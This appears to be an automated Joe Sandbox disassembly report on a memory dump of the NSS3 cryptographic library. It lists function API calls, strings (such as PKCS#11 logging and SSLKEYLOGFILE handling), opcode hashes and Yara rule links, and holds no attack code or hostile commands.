Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

TlsGetValue.KERNEL32 ref: 6CC34DD7
EnterCriticalSection.KERNEL32(?), ref: 6CC34DEC
PR_Unlock.NSS3(?), ref: 6CC34E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CC34E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CC34E71
free.MOZGLUE(00000000), ref: 6CC34E7A
PR_Unlock.NSS3(?), ref: 6CC34EA2
TlsGetValue.KERNEL32 ref: 6CC34EC1
EnterCriticalSection.KERNEL32(?), ref: 6CC34ED6
PR_Unlock.NSS3(?), ref: 6CC34F01
free.MOZGLUE(00000000), ref: 6CC34F2A

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: a90cfe49c02554e123ca71a2f810732d0aa96a3c0aa2338544e73ba8875f24b4
Instruction ID: 59d8fd0363c6cd2510e09c188bf39efc75c8bd34f728c5320996857b9de6e07a
Opcode Fuzzy Hash: a90cfe49c02554e123ca71a2f810732d0aa96a3c0aa2338544e73ba8875f24b4
Instruction Fuzzy Hash: E6B13671E002159FEB00EF68E840BAA7BB8BF49318F545164EE0997B41F732E964CBD1

Function 6CC86E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CC86BF7), ref: 6CC86EB6

Part of subcall function 6CBE1240: TlsGetValue.KERNEL32(00000040,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE1267
Part of subcall function 6CBE1240: EnterCriticalSection.KERNEL32(?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE127C
Part of subcall function 6CBE1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE1291
Part of subcall function 6CBE1240: PR_Unlock.NSS3(?,?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CD2FC0A,6CC86BF7), ref: 6CC86ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC86EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CC86EFC
PR_NewLock.NSS3 ref: 6CC86F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC86F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CC86BF7), ref: 6CC86F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CC86BF7), ref: 6CC86F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CC86BF7), ref: 6CC86FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CC86BF7), ref: 6CC86FFD

Strings

NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CC86F4F
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CC86EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CC86FF8
SSLFORCELOCKS, xrefs: 6CC86F2B
SSLKEYLOGFILE, xrefs: 6CC86EB1
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CC86FDB

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 50105ad4006960fa2302d85e1c0c873afa165fae2c7e604bb1edee14beea9f8c
Instruction ID: 97ea9782a621675a93580c88dc80f33c110fcaa09d6752d63efb07806bbe2be5
Opcode Fuzzy Hash: 50105ad4006960fa2302d85e1c0c873afa165fae2c7e604bb1edee14beea9f8c
Instruction Fuzzy Hash: FBA1F9B2B6799186F610463DCC0075A3AA5B78336EF984366FA31C7EE5FB35A4409342

Function 6CC26D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CC26D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC26DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC26DC3

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC26DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CC26DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CC26E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CC26E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CC26E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CC26EB9

Strings

pulDigestLen = 0x%p, xrefs: 6CC26E42
pDigest = 0x%p, xrefs: 6CC26E27
pData = 0x%p, xrefs: 6CC26DF5
C_Digest, xrefs: 6CC26D81
(CK_INVALID_HANDLE), xrefs: 6CC26DBC
hSession = 0x%x, xrefs: 6CC26D9E, 6CC26DAE
*pulDigestLen = 0x%x, xrefs: 6CC26EB4
ulDataLen = %d, xrefs: 6CC26E0E

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: d04040db10505352226632800c2f9e28567e51d4880671c9b3f45910560fadbd
Instruction ID: c4a6c06a2497ec5d8663d7ae86b521154a59d34ef7a3b8cea58f4f56d5d01b86
Opcode Fuzzy Hash: d04040db10505352226632800c2f9e28567e51d4880671c9b3f45910560fadbd
Instruction Fuzzy Hash: 4441D775A01504BFEB00DF58ED48E8A7BB5AB4275DF484055E50897B21EB34A81CCBF2

Function 6CC28820 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptVerifyUpdate), ref: 6CC28846
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC28874
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC28883

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC28899
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6CC288BA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6CC288D3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CC288EC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6CC28907
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6CC28979

Strings

pEncryptedPart = 0x%p, xrefs: 6CC288B5
C_DecryptVerifyUpdate, xrefs: 6CC28841
*pulPartLen = 0x%x, xrefs: 6CC28974
pulPartLen = 0x%p, xrefs: 6CC28902
(CK_INVALID_HANDLE), xrefs: 6CC2887C
pPart = 0x%p, xrefs: 6CC288E7
hSession = 0x%x, xrefs: 6CC2885E, 6CC2886E
ulEncryptedPartLen = %d, xrefs: 6CC288CE

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptVerifyUpdate
API String ID: 1003633598-2764998763
Opcode ID: a80f88d1a38d07c9ea4367e38bf7ea76b33233c6d7b66651b878a150812db49d
Instruction ID: 29868c7b55d9c31c90c1cd3635a07bef3e6efa842cfffd49b42224612a1b5226
Opcode Fuzzy Hash: a80f88d1a38d07c9ea4367e38bf7ea76b33233c6d7b66651b878a150812db49d
Instruction Fuzzy Hash: DB419576A01144AFEB00DF58ED48F4A77B5EB4235DF884026E60867B61EB35991CCBA2

Function 6CC26960 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptUpdate), ref: 6CC26986
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC269B4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC269C3

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC269D9
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6CC269FA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6CC26A13
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CC26A2C
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6CC26A47
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6CC26AB9

Strings

pEncryptedPart = 0x%p, xrefs: 6CC269F5
*pulPartLen = 0x%x, xrefs: 6CC26AB4
pulPartLen = 0x%p, xrefs: 6CC26A42
(CK_INVALID_HANDLE), xrefs: 6CC269BC
pPart = 0x%p, xrefs: 6CC26A27
hSession = 0x%x, xrefs: 6CC2699E, 6CC269AE
ulEncryptedPartLen = %d, xrefs: 6CC26A0E
C_DecryptUpdate, xrefs: 6CC26981

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptUpdate
API String ID: 1003633598-2105479268
Opcode ID: afb0f5238545858715f5b733f24397d7df414d0fc03595a6e9ddbffccf257a89
Instruction ID: 78d135036cef5a37c5235602a0d5a2e4808f806a0038afe4f274b0e76044bc81
Opcode Fuzzy Hash: afb0f5238545858715f5b733f24397d7df414d0fc03595a6e9ddbffccf257a89
Instruction Fuzzy Hash: F941B775A41544FFEB00DF58ED48E4A7BB5AB4235DF488026E60897B21EB34A85CCBF1

Function 6CC29C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CC29C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC29C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC29CA3

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC29CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CC29CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CC29CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CC29D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CC29D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CC29D42

Strings

userType = 0x%x, xrefs: 6CC29CD5
pPin = 0x%p, xrefs: 6CC29CF0
C_LoginUser, xrefs: 6CC29C61
ulUsernameLen = %d, xrefs: 6CC29D3D
(CK_INVALID_HANDLE), xrefs: 6CC29C9C
pUsername = 0x%p, xrefs: 6CC29D24
hSession = 0x%x, xrefs: 6CC29C7E, 6CC29C8E
ulPinLen = %d, xrefs: 6CC29D0B

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: c8d19f73fcc5405fd5fe96e634e3db9432ddfbc8dba31847638ee24da1285e2a
Instruction ID: 292d6bfa00178cd601ef2176afa713808a79ae097d35b1e356fa4aaf9605643d
Opcode Fuzzy Hash: c8d19f73fcc5405fd5fe96e634e3db9432ddfbc8dba31847638ee24da1285e2a
Instruction Fuzzy Hash: BA41C871A01144BFFB00DF58ED48E5A7BB9AB4230DF884056E60967B21EB35981CDBA1

Function 6CBF4AF0 Relevance: 27.4, APIs: 18, Instructions: 355memorystringthreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,?,6CC31444,?,?,00000000,?,?), ref: 6CBF4BD4

Part of subcall function 6CC30C90: PR_SetError.NSS3(00000000,00000000,6CC31444,?,00000001,?,00000000,00000000,?,?,6CC31444,?,?,00000000,?,?), ref: 6CC30CB3

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC31444), ref: 6CBF4B87
memcpy.VCRUNTIME140(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBF4BA5

Part of subcall function 6CC488E0: TlsGetValue.KERNEL32(00000000,?,?,6CC508AA,?), ref: 6CC488F6
Part of subcall function 6CC488E0: EnterCriticalSection.KERNEL32(?,?,?,?,6CC508AA,?), ref: 6CC4890B
Part of subcall function 6CC488E0: PR_NotifyCondVar.NSS3(?,?,?,?,?,6CC508AA,?), ref: 6CC48936
Part of subcall function 6CC488E0: PR_Unlock.NSS3(?,?,?,?,?,6CC508AA,?), ref: 6CC48940

PR_SetError.NSS3(FFFFE02A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBF4DF5
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?), ref: 6CBF4B94

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC31444,?), ref: 6CBF4BC2
PR_GetCurrentThread.NSS3(?,?,?,?,?,00000000,00000000), ref: 6CBF4BEF
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC31444), ref: 6CBF4C27
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC31444), ref: 6CBF4C42
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBF4D5A
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CBF4D67
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CBF4D78
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBF4DE4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBF4E4C
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CBF4E5B
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CBF4E6C

Part of subcall function 6CBF4880: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF48A2

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBF4EF1
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBF4F02

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Error$Arena$Alloc_Item_Valuememcpystrlen$CriticalEnterSectionUnlockZfree$AllocateArena_CompareCondCurrentFreeNotifyThreadfree
String ID:
API String ID: 24311736-0
Opcode ID: 7fb1a65a1f28044616d1a2790648f65dacfe898fb66aa22eaf7fefac495631ce
Instruction ID: 5f9222cd63eec64f2801cc4d84618a09541b11fdd92ab5614244c44621b21a1c
Opcode Fuzzy Hash: 7fb1a65a1f28044616d1a2790648f65dacfe898fb66aa22eaf7fefac495631ce
Instruction Fuzzy Hash: F5C16BB5E002559FEB00DF68D980B9F77F8EF49308F144429E829A7741E771E9198BA2

Function 6CC828C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6CC85B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC85B56

TlsGetValue.KERNEL32 ref: 6CC8290A
EnterCriticalSection.KERNEL32(00000001), ref: 6CC8291E
TlsGetValue.KERNEL32 ref: 6CC82937
EnterCriticalSection.KERNEL32(00000001), ref: 6CC8294B
PR_EnterMonitor.NSS3(?), ref: 6CC82966
PR_EnterMonitor.NSS3(?), ref: 6CC829AC
PR_ExitMonitor.NSS3(?), ref: 6CC829D1
PR_EnterMonitor.NSS3(?), ref: 6CC829F0
PR_EnterMonitor.NSS3(?), ref: 6CC82A15
PR_EnterMonitor.NSS3(?), ref: 6CC82A37
PR_ExitMonitor.NSS3(?), ref: 6CC82A61
PR_ExitMonitor.NSS3(?), ref: 6CC82A78
PR_ExitMonitor.NSS3(?), ref: 6CC82A8F
PR_ExitMonitor.NSS3(?), ref: 6CC82AA6

Part of subcall function 6CCB9440: TlsGetValue.KERNEL32 ref: 6CCB945B
Part of subcall function 6CCB9440: TlsGetValue.KERNEL32 ref: 6CCB9479
Part of subcall function 6CCB9440: EnterCriticalSection.KERNEL32 ref: 6CCB9495
Part of subcall function 6CCB9440: TlsGetValue.KERNEL32 ref: 6CCB94E4
Part of subcall function 6CCB9440: TlsGetValue.KERNEL32 ref: 6CCB9532
Part of subcall function 6CCB9440: LeaveCriticalSection.KERNEL32 ref: 6CCB955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CC82AF9
free.MOZGLUE(?), ref: 6CC82B16
PR_Unlock.NSS3(?), ref: 6CC82B6D
PR_Unlock.NSS3(?), ref: 6CC82B80

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: b659168881ecedfb12f436915b13c06df1a2adb46b6b84828d86b556df024b8d
Instruction ID: 0bf00410781b8e120c0d1d7594a545a36dd099b5e865160301a6f0beb2a547b4
Opcode Fuzzy Hash: b659168881ecedfb12f436915b13c06df1a2adb46b6b84828d86b556df024b8d
Instruction Fuzzy Hash: 2681A0B1A017005BEB209F39EC59A97BBF9AF1530CF044828D95A87B11FB36E519CB91

Function 6CD09C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CD09C70
PR_NewLock.NSS3 ref: 6CD09C85

Part of subcall function 6CCB98D0: calloc.MOZGLUE(00000001,00000084,6CBE0936,00000001,?,6CBE102C), ref: 6CCB98E5

PR_NewCondVar.NSS3(00000000), ref: 6CD09C96

Part of subcall function 6CBDBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CBE21BC), ref: 6CBDBB8C

PR_NewLock.NSS3 ref: 6CD09CA9

Part of subcall function 6CCB98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CCB9946
Part of subcall function 6CCB98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB716B7,00000000), ref: 6CCB994E
Part of subcall function 6CCB98D0: free.MOZGLUE(00000000), ref: 6CCB995E

PR_NewLock.NSS3 ref: 6CD09CB9
PR_NewLock.NSS3 ref: 6CD09CC9
PR_NewCondVar.NSS3(00000000), ref: 6CD09CDA

Part of subcall function 6CBDBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBDBBEB
Part of subcall function 6CBDBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CBDBBFB
Part of subcall function 6CBDBB80: GetLastError.KERNEL32 ref: 6CBDBC03
Part of subcall function 6CBDBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CBDBC19
Part of subcall function 6CBDBB80: free.MOZGLUE(00000000), ref: 6CBDBC22

PR_NewCondVar.NSS3(?), ref: 6CD09CF0
PR_NewPollableEvent.NSS3 ref: 6CD09D03

Part of subcall function 6CCFF3B0: PR_CallOnce.NSS3(6CD514B0,6CCFF510), ref: 6CCFF3E6
Part of subcall function 6CCFF3B0: PR_CreateIOLayerStub.NSS3(6CD5006C), ref: 6CCFF402
Part of subcall function 6CCFF3B0: PR_Malloc.NSS3(00000004), ref: 6CCFF416
Part of subcall function 6CCFF3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CCFF42D
Part of subcall function 6CCFF3B0: PR_SetSocketOption.NSS3(?), ref: 6CCFF455
Part of subcall function 6CCFF3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CCFF473

Part of subcall function 6CCB9890: TlsGetValue.KERNEL32(?,?,?,6CCB97EB), ref: 6CCB989E

EnterCriticalSection.KERNEL32(?), ref: 6CD09D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CD09DAF
_PR_CreateThread.NSS3(00000000,6CD09EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CD09D9F

Part of subcall function 6CBDB3C0: TlsGetValue.KERNEL32 ref: 6CBDB403
Part of subcall function 6CBDB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CBDB459

